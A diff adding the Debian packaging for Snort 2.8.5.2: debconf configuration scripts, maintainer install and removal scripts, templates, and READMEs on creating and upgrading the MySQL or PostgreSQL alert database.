--- snort-2.8.5.2.orig/debian/snort.debian.conf
+++ snort-2.8.5.2/debian/snort.debian.conf
@@ -0,0 +1,12 @@
+# This file is used for options that are changed by Debian to leave
+# the original lib files untouched.
+# You have to use "dpkg-reconfigure snort(-flavour)?" to change them.
+#
+# Replace (-flavour)? by pgsql, mysql or keep it empty depending on
+# what flavour of Snort you run.
+#
+DEBIAN_SNORT_STARTUP=boot
+DEBIAN_SNORT_HOME_NET="192.168.0.0/16"
+DEBIAN_SNORT_OPTIONS="-i eth0"
+DEBIAN_SNORT_STATS_RCPT="root"
+DEBIAN_SNORT_STATS_THRESHOLD="1"
--- snort-2.8.5.2.orig/debian/snort-inline.config
+++ snort-2.8.5.2/debian/snort-inline.config
@@ -0,0 +1,116 @@
+#!/bin/sh -e
+
+. /usr/share/debconf/confmodule
+
+[ -r /etc/snort/snort.debian.conf ] && . /etc/snort/snort.debian.conf
+
+INTERFACES=""
+
+check_interfaces() {
+# Check the interface status, abort with error if a configured one is not
+# available
+      [ -z "$INTERFACES" ] && return 0
+      ints=`echo $INTERFACES | sed -e  's/,/ /g'`
+      for iface in $ints; do
+	      if ! ifconfig "$iface" | grep -w UP >/dev/null; then
+		      return 1
+	     fi
+      done
+      return 0
+}
+
+db_input low snort-inline/startup || true
+db_go
+
+# /etc/ppp/ip-up.d/snort is called with interface and IP number
+db_get snort-inline/startup
+if [ "$RET" = "dialup" ]; then
+  db_set snort-inline/interface ""
+  db_set snort-inline/address_range ""
+else
+  db_beginblock
+  # Interface default in case the configuration file does not exist
+  if [ -z "$DEBIAN_SNORT_INTERFACE" ] ; then
+  	INTERFACES=eth0
+  else 
+  	INTERFACES=$DEBIAN_SNORT_INTERFACE
+  fi
+
+  # Ask for a valid set of interfaces
+  ok=''
+  count=0
+  while [ ! "$ok" ] && [ "$count" -lt 2 ]; do
+  # Depending on whether the default interface is up or down we set the
+  # question priority
+        priority='medium'
+	if ! check_interfaces
+	then
+	    priority='high'
+	    db_fset snort-inline/interface seen false 
+	fi
+	set +e
+	db_input $priority snort-inline/interface
+        if [ $? -eq 30 ]; then
+	# User is not being shown the question, break out
+	     break
+	fi
+	set -e
+	db_go || true
+   # Check the interfaces
+	db_get snort-inline/interface
+	INTERFACES=$RET
+	if ! check_interfaces ; then
+	  db_fset snort-inline/invalid_interface seen false 
+	  db_input critical snort-inline/invalid_interface
+	else
+	  ok='yes'
+        fi
+	# Increment the count, we only go through this two times
+	count=$(($count+1))
+  done
+
+  db_input high snort-inline/address_range || true
+  db_endblock
+  db_go
+fi
+
+db_beginblock
+db_input low snort-inline/options || true
+db_endblock
+db_go
+
+db_beginblock
+db_input low snort-inline/send_stats || true
+db_go
+
+db_get snort-inline/send_stats
+if [ $RET = true ]; then
+# TODO: This values should not be empty (even
+# if we default to 'root' and '1' in the scripts)
+# so the config script should check wether the 
+# values here are legitimate.
+	db_beginblock
+	db_input medium snort-inline/stats_rcpt || true
+	db_input low snort-inline/stats_treshold || true
+	db_endblock
+	db_go
+fi
+
+db_get snort-inline/startup
+if [ $RET = "manual" ]; then
+	db_beginblock
+	db_input medium snort-inline/please_restart_manually || true
+	db_endblock
+	db_go
+fi
+
+DEFAULT=/etc/default/snort
+PARAMETERS=/etc/snort/snort.common.parameters
+if [ -e "$DEFAULT" ] && [ -e "$PARAMETERS" ] ; then
+	db_beginblock
+	db_input medium snort-inline/config_parameters || true
+	db_endblock
+	db_go
+fi
+
+db_stop
--- snort-2.8.5.2.orig/debian/snort-rules-default.dirs
+++ snort-2.8.5.2/debian/snort-rules-default.dirs
@@ -0,0 +1 @@
+etc/snort/rules
--- snort-2.8.5.2.orig/debian/compat
+++ snort-2.8.5.2/debian/compat
@@ -0,0 +1 @@
+5
--- snort-2.8.5.2.orig/debian/snort.postrm
+++ snort-2.8.5.2/debian/snort.postrm
@@ -0,0 +1,63 @@
+#! /bin/sh
+# postrm script for snort
+#
+# see: dh_installdeb(1)
+
+set -e
+
+# summary of how this script can be called:
+#        * <postrm> `remove'
+#        * <postrm> `purge'
+#        * <old-postrm> `upgrade' <new-version>
+#        * <new-postrm> `failed-upgrade' <old-version>
+#        * <new-postrm> `abort-install'
+#        * <new-postrm> `abort-install' <old-version>
+#        * <new-postrm> `abort-upgrade' <old-version>
+#        * <disappearer's-postrm> `disappear' <r>overwrit>r> <new-version>
+# for details, see /usr/doc/packaging-manual/
+
+# TODO : Should use /etc/default/snort definitions?
+
+case "$1" in
+       purge|disappear)
+       		# Remove logfiles
+		rm -rf /var/log/snort/
+		
+		# Remove configuration
+		if [ -e /etc/snort/snort.debian.conf ] ; then
+			rm /etc/snort/snort.debian.conf
+		fi
+		if [ -e /etc/snort/snort.common.parameters ] ; then
+			rm /etc/snort/snort.common.parameters
+		fi
+		if [ -e /etc/default/snort ] ; then
+			rm /etc/default/snort
+		fi
+
+		# Remove configuration dir
+		[ -d /etc/snort ] && rmdir --ignore-fail-on-non-empty /etc/snort
+		
+		# Remove init.d
+		update-rc.d -f snort remove >/dev/null
+
+		# Remove user/group
+		if getent passwd | grep -q "^snort:"; then
+			userdel snort 2>/dev/null || true
+		fi
+		if getent group | grep -q "^snort:" ; then
+			delgroup --only-if-empty snort 2>/dev/null || true
+		fi
+		;;
+       remove|upgrade|failed-upgrade|abort-install|abort-upgrade)
+		# nothing
+		# We may not delete the user snort, as there may be
+		# files owned by it in /var/log/snort and /etc/snort.
+        	;;
+esac
+
+# dh_installdeb will replace this with shell code automatically
+# generated by other debhelper scripts.
+
+#DEBHELPER#
+
+
--- snort-2.8.5.2.orig/debian/snort-inline.preinst
+++ snort-2.8.5.2/debian/snort-inline.preinst
@@ -0,0 +1,114 @@
+#!/bin/sh
+
+set -e
+
+# summary of how this script can be called:
+#        * <new-preinst> `install'
+#        * <new-preinst> `install' <old-version>
+#        * <new-preinst> `upgrade' <old-version>
+#        * <old-preinst> `abort-upgrade' <new-version>
+
+DEFAULT=/etc/default/snort
+PARAMETERS=/etc/snort/snort.common.parameters
+
+# Initialise variables
+SNORTUSER=""
+SNORTGROUP=""
+LOGDIR=""
+
+check_parameters() {
+# Check if the old parameters file is there and this is
+# an upgrade (default is not)
+	# Abort if either the old parameters file does not exist
+	# or if the new default has already been installed
+	[ ! -r "$PARAMETERS" ] && return 
+	[ -r "$DEFAULT" ] && return 
+	
+	# Extract our values from there
+	logdir=`cat $PARAMETERS | perl -ne 'print $1 if /-l\s+([\w\/]+)/'`
+	user_snort=`cat $PARAMETERS | perl -ne 'print $1 if /-u\s+(\w+)/'`
+	group_snort=`cat $PARAMETERS | perl -ne 'print $1 if /-g\s+(\w+)/'`
+	extraparms=`cat $PARAMETERS  | sed -e 's/-l[[:space:]]\+[\/[:alnum:]]\+[[:space:]]\+//g; s/-u[[:space:]]\+[[:alnum:]]\+[[:space:]]*//g; s/-g[[:space:]]\+[[:alnum:]]\+[[:space:]]*//g;'`
+	echo "Creating new $DEFAULT configuration based on $PARAMETERS"
+	cat <<EOF >$DEFAULT
+# Parameters for the daemon
+PARAMS="$extraparms"
+# Logging directory
+LOGDIR="$logdir"
+# Snort user
+SNORTUSER="$user_snort"
+# Snort group
+SNORTGROUP="$group_snort"
+EOF
+	return
+}
+
+case "$1" in
+    install|upgrade)
+
+	check_parameters
+	[ -r "$DEFAULT" ] && . $DEFAULT
+	# Sane defaults, just in case
+	[ -z "$SNORTUSER" ] && SNORTUSER=snort
+	[ -z "$SNORTGROUP" ] && SNORTGROUP=snort
+	[ -z "$LOGDIR" ] && LOGDIR=/var/log/snort
+
+	# create snort user to avoid running snort as root
+	# 1. create group if not existing
+	if ! getent group | grep -q "^$SNORTGROUP:" ; then
+		addgroup --quiet --system $SNORTGROUP 2>/dev/null || true
+	fi
+	# 2. create homedir if not existing
+	test -d $LOGDIR || mkdir $LOGDIR
+	# 3. create user if not existing
+	if ! getent passwd | grep -q "^$SNORTUSER:"; then
+	adduser --quiet \
+	        --system \
+		--ingroup $SNORTGROUP \
+		--no-create-home \
+		--disabled-password \
+		$SNORTUSER 2>/dev/null || true
+	fi
+	# 4. adjust passwd entry
+	usermod -c "Snort IDS" \
+		-d $LOGDIR \
+		-g $SNORTGROUP \
+		$SNORTUSER
+	# 5. adjust file and directory permissions
+	if ! dpkg-statoverride --list $LOGDIR >/dev/null
+	then
+		chown -R $SNORTUSER:adm $LOGDIR
+		chmod u=rwx,g=rxs,o= $LOGDIR
+	fi
+		
+	# setup /etc/snort
+	test -d /etc/snort || mkdir /etc/snort
+
+	# move config file to new location
+	if [ -e /etc/snort.conf ]; then
+	    mv /etc/snort.conf /etc/snort/snort.conf
+	fi
+
+	# rename probably existing cron job with old name
+	if [ -e /etc/cron.daily/snort ]; then
+	    mv /etc/cron.daily/snort /etc/cron.daily/5snort
+	fi
+
+
+    ;;
+    configure)
+    ;;
+    abort-upgrade)
+    ;;
+    *)
+        echo "preinst called with unknown argument \`$1'" >&2
+        exit 0
+    ;;
+esac
+
+# dh_installdeb will replace this with shell code automatically
+# generated by other debhelper scripts.
+
+#DEBHELPER#
+
+exit 0
--- snort-2.8.5.2.orig/debian/snort-common.dirs
+++ snort-2.8.5.2/debian/snort-common.dirs
@@ -0,0 +1,3 @@
+/etc/cron.daily
+/etc/snort
+/usr/sbin
--- snort-2.8.5.2.orig/debian/snort.docs
+++ snort-2.8.5.2/debian/snort.docs
@@ -0,0 +1,12 @@
+doc/AUTHORS
+doc/BUGS
+doc/CREDITS
+doc/NEWS
+doc/README
+doc/README.FLEXRESP
+doc/README.PLUGINS
+doc/USAGE
+doc/README.database
+doc/README.csv
+debian/my/snort_rules.html
+debian/README.Maintainer
--- snort-2.8.5.2.orig/debian/snort-pgsql.prerm
+++ snort-2.8.5.2/debian/snort-pgsql.prerm
@@ -0,0 +1,52 @@
+#! /bin/sh
+# prerm script for snort
+#
+# see: dh_installdeb(1)
+
+set -e
+
+# summary of how this script can be called:
+#        * <prerm> `remove'
+#        * <old-prerm> `upgrade' <new-version>
+#        * <new-prerm> `failed-upgrade' <old-version>
+#        * <conflictor's-prerm> `remove' `in-favour' <package> <new-version>
+#        * <deconfigured's-prerm> `deconfigure' `in-favour'
+#          <package-being-installed> <version> `removing'
+#          <conflicting-package> <version>
+# for details, see /usr/doc/packaging-manual/
+
+case "$1" in
+    remove|upgrade|deconfigure)
+	if [ -x "`which invoke-rc.d 2>/dev/null`" ]; then
+		invoke-rc.d snort stop || exit $?
+	else
+		/etc/init.d/snort stop || exit $?
+	fi
+	;;
+    failed-upgrade)
+	;;
+    *)
+	echo "prerm called with unknown argument \`$1'" >&2
+	exit 0
+	;;
+esac
+
+# no matter if dialup, manual or boot modus!
+#if [ -x /usr/sbin/invoke-rc.d ]; then
+#	invoke-rc.d snort stop || true
+#else
+#	/etc/init.d/snort stop || true
+#fi
+# this used to be done with /etc/init.d/snort.
+# Older versions of snort just kill every process with 'snort' in the
+# name, so also 'snort.prerm'. This fixes that. 
+ps cax | grep ' snort$' | awk '{print $1}' |
+	xargs --no-run-if-empty kill -s KILL >/dev/null
+rm -f /var/run/snort_*.pid
+
+# dh_installdeb will replace this with shell code automatically
+# generated by other debhelper scripts.
+
+#DEBHELPER#
+
+exit 0
--- snort-2.8.5.2.orig/debian/snort-pgsql.config
+++ snort-2.8.5.2/debian/snort-pgsql.config
@@ -0,0 +1,138 @@
+#!/bin/sh -e
+
+. /usr/share/debconf/confmodule
+
+[ -r /etc/snort/snort.debian.conf ] && . /etc/snort/snort.debian.conf
+
+INTERFACES=""
+
+check_interfaces() {
+# Check the interface status, abort with error if a configured one is not
+# available
+      [ -z "$INTERFACES" ] && return 0
+      ints=`echo $INTERFACES | sed -e  's/,/ /g'`
+      for iface in $ints; do
+              if ! ifconfig "$iface" | grep -w UP >/dev/null; then
+                      return 1
+             fi
+      done
+      return 0
+}
+
+db_input low snort-pgsql/startup || true
+db_go
+
+# /etc/ppp/ip-up.d/snort-pgsql is called with interface and IP number
+db_get snort-pgsql/startup
+if [ "x$RET" = "xdialup" ]; then
+  db_set snort-pgsql/interface ""
+  db_set snort-pgsql/address_range ""
+  db_set snort-pgsql/disable_promiscuous true
+else
+  db_beginblock
+  # Interface default in case the configuration file does not exist
+  if [ -z "$DEBIAN_SNORT_INTERFACE" ] ; then
+        INTERFACES=eth0
+  else
+        INTERFACES=$DEBIAN_SNORT_INTERFACE
+  fi
+
+  # Ask for a valid set of interfaces
+  ok=''
+  count=0
+  while [ ! "$ok" ] && [ "$count" -lt 2 ]; do
+  # Depending on whether the default interface is up or down we set the
+  # question priority
+        priority='medium'
+        if ! check_interfaces
+        then
+            priority='high'
+            db_fset snort-pgsql/interface seen false
+        fi
+        set +e
+        db_input $priority snort-pgsql/interface
+        if [ $? -eq 30 ]; then
+        # User is not being shown the question, break out
+             break
+        fi
+        set -e
+        db_go || true
+   # Check the interfaces
+        db_get snort-pgsql/interface
+        INTERFACES=$RET
+        if ! check_interfaces ; then
+          db_fset snort/invalid_interface seen false
+          db_input critical snort/invalid_interface
+        else
+          ok='yes'
+        fi
+        # Increment the count, we only go through this two times
+        count=$(($count+1))
+  done
+
+  db_input high snort-pgsql/address_range || true
+  db_input low snort-pgsql/disable_promiscuous || true
+  db_endblock
+  db_go
+fi
+
+db_beginblock
+db_input low snort-pgsql/options || true
+db_endblock
+db_go
+
+db_beginblock
+db_input low snort-pgsql/send_stats || true
+db_go
+
+db_get snort-pgsql/send_stats
+if [ "x$RET" = "xtrue" ]; then
+# TODO: This values should not be empty (even
+# if we default to 'root' and '1' in the scripts)
+# so the config script should check wether the 
+# values here are legitimate.
+	db_beginblock
+	db_input medium snort-pgsql/stats_rcpt || true
+	db_input low snort-pgsql/stats_treshold || true
+	db_endblock
+	db_go
+fi
+
+db_input high snort-pgsql/configure_db || true
+db_go
+db_get snort-pgsql/configure_db
+if  [ "x$RET" = "xtrue" ]; then
+	db_beginblock
+	db_input medium snort-pgsql/db_host || true
+	db_input medium snort-pgsql/db_database || true
+	db_input medium snort-pgsql/db_user || true
+	db_input medium snort-pgsql/db_pass || true
+# Use the old name for the Debconf value if it exists
+	db_get snort-pgsql/wait_for_db_config || true
+	if  [ "x$RET" = "xtrue" ]; then
+		db_set snort-pgsql/needs_db_config "true" || true
+	else
+		db_input high snort-pgsql/needs_db_config || true
+	fi
+	db_endblock
+	db_go
+fi
+
+DEFAULT=/etc/default/snort
+PARAMETERS=/etc/snort/snort.common.parameters
+if [ -e "$DEFAULT" ] && [ -e "$PARAMETERS" ] ; then
+        db_beginblock
+        db_input high snort-pgsql/config_parameters || true
+        db_endblock
+        db_go
+fi
+
+db_get snort-pgsql/startup
+if [ "x$RET" = "xmanual" ]; then
+	db_beginblock
+	db_input medium snort-pgsql/please_restart_manually || true
+	db_endblock
+	db_go
+fi
+
+db_stop
--- snort-2.8.5.2.orig/debian/snort-common.postinst
+++ snort-2.8.5.2/debian/snort-common.postinst
@@ -0,0 +1,38 @@
+#!/bin/sh -e
+
+. /usr/share/debconf/confmodule
+
+# Check if Snort will be able to run properly
+# Obviously, if you are using deprecated preprocessors (checked on config)
+# it's not going to work either, but we do not test for that here.
+#
+# TODO: Maybe it's also best if we could tell dpkg that snort should
+# not be started if this fails.
+if [ -x /etc/init.d/snort ] ; then
+    # Try to find if we are expecting the script to run
+    enabled=0
+    if [ -x "`which invoke-rc.d 2>/dev/null`" ]; then
+        set +e
+        invoke-rc.d --query snort start
+        if [ $? -ne 104 ] ; then
+        # Disabled, or does not work, do not check the configuration
+            enabled=1
+        fi
+        set -e
+    fi
+    if [ "$enabled" -eq 0 ] ; then
+        set +e
+        /etc/init.d/snort config-check >/dev/null 2>&1
+        if [ $? -ne 0 ] ; then
+            db_input critical snort/config_error || true
+            db_go || true
+        fi
+        set -e
+    fi
+fi
+
+db_stop
+
+#DEBHELPER# 
+
+exit 0
--- snort-2.8.5.2.orig/debian/snort-doc.examples
+++ snort-2.8.5.2/debian/snort-doc.examples
@@ -0,0 +1 @@
+debian/my/snort_rules_update
--- snort-2.8.5.2.orig/debian/snort-inline.docs
+++ snort-2.8.5.2/debian/snort-inline.docs
@@ -0,0 +1,12 @@
+doc/AUTHORS
+doc/BUGS
+doc/CREDITS
+doc/NEWS
+doc/README
+doc/README.FLEXRESP
+doc/README.PLUGINS
+doc/USAGE
+doc/README.database
+doc/README.csv
+debian/my/snort_rules.html
+debian/README.Maintainer
--- snort-2.8.5.2.orig/debian/README-database.Debian
+++ snort-2.8.5.2/debian/README-database.Debian
@@ -0,0 +1,100 @@
+
+ SNORT WITH DATABASE SUPPORT
+------------------------------
+ If you are using snort-pgsql or snort-mysql please notice that you have
+ to create the database structure right after installing the package
+ and start Snort manually.
+
+ In order to create the database structure do:
+
+ - if using PostgreSQL
+   $ cd /usr/share/doc/snort-pgsql/
+   $  zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>
+
+ - if using MySQL
+   $ cd /usr/share/doc/snort-mysql/
+   $ zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>
+
+ In either case fill in the correct values for the user, host, and 
+ database names. Depending on the user priviledges set on the database
+ you can use the same user that Snort will use to access the
+ database or an admin user. In either case, the user you use should
+ have priviledges to create tables and indexes. Once created you have
+ to grant the user your configured in Debconf so that it has priviledges
+ over the tables created through the schema.
+
+ Once you have setup the database, you will need to start Snort manually
+ since it was left unstarted after the installation. To do this
+ remove the file '/etc/snort/db-pending-config' and then
+ do '/etc/init.d/snort start'. Confirm that snort is working and up
+ by running '/etc/init.d/snort status' and reviewing the messages in
+ the /var/log/daemon.log syslog file.
+
+ CREATING THE DATABASE
+-----------------------
+
+  Notice that in order for the above to work you need to create first
+  a database. 
+
+  Consider that you have defined the following information when asked
+  to in the Debconf dialogs when installing the package:
+
+  Database User: snort
+  Database Password: snort-db
+  Database name: snort
+
+  For Mysql you can do this:
+
+  [ running as an mysql user with admin privileges ]
+  $ mysql
+  mysql> CREATE DATABASE snort
+  mysql> grant CREATE, INSERT, SELECT, UPDATE on snort.* to snort@localhost;
+  mysql> grant CREATE, INSERT, SELECT, UPDATE on snort.* to snort;
+  mysql> SET PASSWORD FOR snort@localhost=PASSWORD('snort-db');
+  mysql> flush privileges;
+  [ you can confirm the changes above running ]
+  mysql> show grants for 'snort'@'localhost';
+
+  And then you can run the command above as:
+
+  $ zcat create_mysql.gz | mysql -u snort -D snort -psnort-db
+
+  For PosgreSQL you can do this:
+
+  [ running as user 'posgres' ]
+  $ psql template1
+  template1=# CREATE DATABASE snort;
+  CREATE DATABASE
+  template1=# \q
+  $ zcat create_postgresql.gz | psql snort
+  [ creates the database ]
+
+  If you are using authentication based on passwords in your Postgres
+  database use this:
+
+  $ psql snort 
+  snort=# CREATE USER snort PASSWORD 'snort-db';
+  CREATE USER
+  snort=# GRANT INSERT, SELECT, UPDATE ON TABLE data,detail,encoding,
+  event,icmphdr,iphdr,opt,reference,reference_system,schema,sensor,
+  sig_class,signature,sig_reference,tcphdr,udphdr TO snort;
+  GRANT
+  [ now you can confirm that it was indeed created ]
+  snort=# SELECT * FROM pg_user WHERE usename='snort';
+  snort=#\q
+
+  You should be able now to connect to the Postgres database with:
+
+  $ psql -U snort --password snort
+
+  Alternatively, if the sensor is running on the same server as the database
+  you could use 'ident' authentication, since the Snort sensor will be running
+  as user 'snort'. Use this line in /etc/postgresql/pg_hba.conf:
+
+------------------------------------------------------------------------------
+host   all        all        127.0.0.1        255.255.255.255   ident sameuser
+------------------------------------------------------------------------------
+
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>
+    Thu, 25 Aug 2005 16:44:46 +0200
--- snort-2.8.5.2.orig/debian/snort-mysql.config
+++ snort-2.8.5.2/debian/snort-mysql.config
@@ -0,0 +1,139 @@
+#!/bin/sh -e
+
+. /usr/share/debconf/confmodule
+
+[ -r /etc/snort/snort.debian.conf ] && . /etc/snort/snort.debian.conf
+
+INTERFACES=""
+
+check_interfaces() {
+# Check the interface status, abort with error if a configured one is not
+# available
+      [ -z "$INTERFACES" ] && return 0
+      ints=`echo $INTERFACES | sed -e  's/,/ /g'`
+      for iface in $ints; do
+              if ! ifconfig "$iface" | grep -w UP >/dev/null; then
+                      return 1
+             fi
+      done
+      return 0
+}
+
+
+db_input low snort-mysql/startup || true
+db_go
+
+# /etc/ppp/ip-up.d/snort-mysql is called with interface and IP number
+db_get snort-mysql/startup
+if [ "x$RET" = "xdialup" ]; then
+  db_set snort-mysql/interface ""
+  db_set snort-mysql/address_range ""
+  db_set snort-mysql/disable_promiscuous true
+else
+  db_beginblock
+  # Interface default in case the configuration file does not exist
+  if [ -z "$DEBIAN_SNORT_INTERFACE" ] ; then
+        INTERFACES=eth0
+  else
+        INTERFACES=$DEBIAN_SNORT_INTERFACE
+  fi
+
+  # Ask for a valid set of interfaces
+  ok=''
+  count=0
+  while [ ! "$ok" ] && [ "$count" -lt 2 ]; do
+  # Depending on whether the default interface is up or down we set the
+  # question priority
+        priority='medium'
+        if ! check_interfaces
+        then
+            priority='high'
+            db_fset snort-mysql/interface seen false
+        fi
+        set +e
+        db_input $priority snort-mysql/interface
+        if [ $? -eq 30 ]; then
+        # User is not being shown the question, break out
+             break
+        fi
+        set -e
+        db_go || true
+   # Check the interfaces
+        db_get snort-mysql/interface
+        INTERFACES=$RET
+        if ! check_interfaces ; then
+          db_fset snort/invalid_interface seen false
+          db_input critical snort/invalid_interface
+        else
+          ok='yes'
+        fi
+        # Increment the count, we only go through this two times
+        count=$(($count+1))
+  done
+
+  db_input high snort-mysql/address_range || true
+  db_input low snort-mysql/disable_promiscuous || true
+  db_endblock
+  db_go
+fi
+
+db_beginblock
+db_input low snort-mysql/options || true
+db_endblock
+db_go
+
+db_beginblock
+db_input low snort-mysql/send_stats || true
+db_go
+
+db_get snort-mysql/send_stats
+if [ "x$RET" = "true" ]; then
+# TODO: This values should not be empty (even
+# if we default to 'root' and '1' in the scripts)
+# so the config script should check wether the 
+# values here are legitimate.
+	db_beginblock
+	db_input medium snort-mysql/stats_rcpt || true
+	db_input low snort-mysql/stats_treshold || true
+	db_endblock
+	db_go
+fi
+
+db_input high snort-mysql/configure_db || true
+db_go
+db_get snort-mysql/configure_db
+if  [ "x$RET" = "xtrue" ]; then
+	db_beginblock
+	db_input medium snort-mysql/db_host || true
+	db_input medium snort-mysql/db_database || true
+	db_input medium snort-mysql/db_user || true
+	db_input medium snort-mysql/db_pass || true
+        # Use the old name for the Debconf value if it exists
+	db_get snort-pgsql/wait_for_db_config || true
+	if  [ "x$RET" = "xtrue" ]; then
+		db_set snort-mysql/needs_db_config "true" || true
+	else
+		db_input high snort-mysql/needs_db_config || true
+	fi
+	db_endblock
+	db_go
+fi
+
+DEFAULT=/etc/default/snort
+PARAMETERS=/etc/snort/snort.common.parameters
+if [ -e "$DEFAULT" ] && [ -e "$PARAMETERS" ] ; then
+        db_beginblock
+        db_input high snort-mysql/config_parameters || true
+        db_endblock
+        db_go
+fi
+
+db_get snort-mysql/startup
+if [ "x$RET" = "xmanual" ]; then
+	db_beginblock
+	db_input medium snort-mysql/please_restart_manually || true
+	db_endblock
+	db_go
+fi
+
+db_stop
--- snort-2.8.5.2.orig/debian/snort.prerm
+++ snort-2.8.5.2/debian/snort.prerm
@@ -0,0 +1,52 @@
+#! /bin/sh
+# prerm script for snort
+#
+# see: dh_installdeb(1)
+
+set -e
+
+# summary of how this script can be called:
+#        * <prerm> `remove'
+#        * <old-prerm> `upgrade' <new-version>
+#        * <new-prerm> `failed-upgrade' <old-version>
+#        * <conflictor's-prerm> `remove' `in-favour' <package> <new-version>
+#        * <deconfigured's-prerm> `deconfigure' `in-favour'
+#          <package-being-installed> <version> `removing'
+#          <conflicting-package> <version>
+# for details, see /usr/doc/packaging-manual/
+
+case "$1" in
+    remove|upgrade|deconfigure)
+	if [ -x "`which invoke-rc.d 2>/dev/null`" ]; then
+		invoke-rc.d snort stop || exit $?
+	else
+		/etc/init.d/snort stop || exit $?
+	fi
+	;;
+    failed-upgrade)
+	;;
+    *)
+	echo "prerm called with unknown argument \`$1'" >&2
+	exit 0
+	;;
+esac
+
+# no matter if dialup, manual or boot modus!
+#if [ -x /usr/sbin/invoke-rc.d ]; then
+#	invoke-rc.d snort stop || true
+#else
+#	/etc/init.d/snort stop || true
+#fi
+# this used to be done with /etc/init.d/snort.
+# Older versions of snort just kill every process with 'snort' in the
+# name, so also 'snort.prerm'. This fixes that. 
+ps cax | grep ' snort$' | awk '{print $1}' |
+	xargs --no-run-if-empty kill -s KILL >/dev/null
+rm -f /var/run/snort_*.pid
+
+# dh_installdeb will replace this with shell code automatically
+# generated by other debhelper scripts.
+
+#DEBHELPER#
+
+exit 0
--- snort-2.8.5.2.orig/debian/snort-common.templates
+++ snort-2.8.5.2/debian/snort-common.templates
@@ -0,0 +1,11 @@
+Template: snort/deprecated_config
+Type: note
+_Description: Deprecated configuration file
+ The Snort configuration file (/etc/snort/snort.conf) uses deprecated
+ options no longer available for this Snort release. Snort will not be able to
+ start unless you provide a correct configuration file. Either allow the
+ configuration file to be replaced with the one provided in this package or fix
+ it manually by removing deprecated options.
+ .
+ The following deprecated options were found in the configuration file:
+ ${DEP_CONFIG}
--- snort-2.8.5.2.orig/debian/snort.TEMPLATE.templates
+++ snort-2.8.5.2/debian/snort.TEMPLATE.templates
@@ -0,0 +1,114 @@
+Template: snort{PACKAGE}/startup
+Type: select
+__Choices: boot, dialup, manual
+Default: boot
+_Description: Snort start method:
+ Snort can be started during boot, when connecting to the net with pppd or
+ only manually with the /usr/sbin/snort command.
+
+Template: snort{PACKAGE}/interface
+Type: string
+Default: eth0
+_Description: Interface(s) which Snort should listen on:
+ This value is usually 'eth0', but this may be inappropriate in some
+ network environments; for a dialup connection 'ppp0' might be more
+ appropiate (see the output of '/sbin/ifconfig').
+ .
+ Typically, this is the same interface as the 'default route' is on. You can
+ determine which interface is used for this by running '/sbin/route -n'
+ (look for '0.0.0.0').
+ .
+ It is also not uncommon to use an interface with no IP address
+ configured in promiscuous mode. For such cases, select the
+ interface in this system that is physically connected to the network
+ that should be inspected, enable promiscuous mode later on and make sure
+ that the network traffic is sent to this interface (either connected
+ to a 'port mirroring/spanning' port in a switch, to a hub or to a tap).
+ .
+ You can configure multiple interfaces, just by adding more than
+ one interface name separated by spaces. Each interface can have its
+ own specific configuration.
+
+Template: snort{PACKAGE}/address_range
+Type: string
+Default: 192.168.0.0/16
+_Description: Address range for the local network:
+ Please use the CIDR form - for example, 192.168.1.0/24 for a block of
+ 256 addresses or 192.168.1.42/32 for just one. Multiple values should
+ be comma-separated (without spaces).
+ .
+ Please note that if Snort is configured to use multiple interfaces,
+ it will use this value as the HOME_NET definition for all of them.
+
+Template: snort{PACKAGE}/disable_promiscuous
+Type: boolean
+Default: false
+_Description: Should Snort disable promiscuous mode on the interface?
+ Disabling promiscuous mode means that Snort will only see packets
+ addressed to the interface it is monitoring. Enabling it allows Snort to
+ check every packet that passes the Ethernet segment even if it's a
+ connection between two other computers.
+
+
+Template: snort{PACKAGE}/invalid_interface
+Type: error
+_Description: Invalid interface
+ Snort is trying to use an interface which does not exist or is down.
+ Either it is defaulting inappropriately to 'eth0', or you specified
+ one which is invalid.
+
+Template: snort{PACKAGE}/send_stats
+Type: boolean
+Default: true
+_Description: Should daily summaries be sent by e-mail?
+ A cron job can be set up to send daily summaries of Snort logs to a
+ selected e-mail address.
+ .
+ Please choose whether you want to activate this feature.
+
+Template: snort{PACKAGE}/stats_rcpt
+Type: string
+Default: root
+_Description: Recipient of daily statistics mails:
+ Please specify the e-mail address that should receive daily summaries
+ of Snort logs.
+
+Template: snort{PACKAGE}/options
+Type: string
+_Description: Additional custom options:
+ Please specify any additional options Snort should use.
+
+Template: snort{PACKAGE}/stats_treshold
+Type: string
+Default: 1
+_Description: Minimum occurrences before alerts are reported:
+ Please enter the minimum number of alert occurrences before a given alert is
+ included in the daily statistics.
+
+Template: snort{PACKAGE}/please_restart_manually
+Type: note
+_Description: Snort restart required
+ As Snort is manually launched, you need to run '/etc/init.d/snort' for
+ the changes to take place.
+
+Template: snort{PACKAGE}/config_error
+Type: error
+_Description: Configuration error
+ The current Snort configuration is invalid and will prevent Snort
+ starting up normally. Please review and correct it.
+ .
+ To diagnose an error in a Snort configuration file, use
+ '/usr/sbin/snort -T -c <file>'.
+
+Template: snort{PACKAGE}/config_parameters
+Type: error
+_Description: Obsolete configuration file
+ This system uses an obsolete configuration file
+ (/etc/snort/snort.common.parameters)
+ which has been automatically converted into the new configuration
+ file format (at /etc/default/snort).
+ .
+ Please review the new configuration and remove the obsolete
+ one. Until you do this, the initialization script will not use the new
+ configuration and you will not take advantage of the benefits
+ introduced in newer releases.
--- snort-2.8.5.2.orig/debian/README-database-upgrade.Debian
+++ snort-2.8.5.2/debian/README-database-upgrade.Debian
@@ -0,0 +1,54 @@
+ DATABASE CHANGES
+------------------
+
+The database layout has changed a bit in different Snort releases:
+
+- DB schema v107
+[ introduced in Snort 2.6 ]
+  Added signature.sig_gid to the schema.
+
+  Upgrading from v106 -> v107 is as simple as:
+
+  mysql> ALTER TABLE signature ADD sig_gid INT UNSIGNED;
+  mysql> UPDATE `schema` SET vseq=107;
+  mysql> UPDATE `schema` SET ctime=now();
+
+  psql> ALTER TABLE signature ADD sig_gid INT8;
+  psql> UPDATE schema SET vseq=107;
+  psql> UPDATE schema SET ctime=now();
+
+
+- DB schema v106
+[ introduced in Snort 1.9 ]
+  Added the sensor.last_cid field to the schema so the
+  database can store the last used cid for a given sensor.
+  This field will ensure that a cid will never be reused.
+
+  Upgrading from v105 -> v106 is as simple as:
+
+  mysql> ALTER TABLE sensor ADD last_cid INT UNSIGNED NOT NULL;
+  mysql> UPDATE `schema` SET vseq=106;
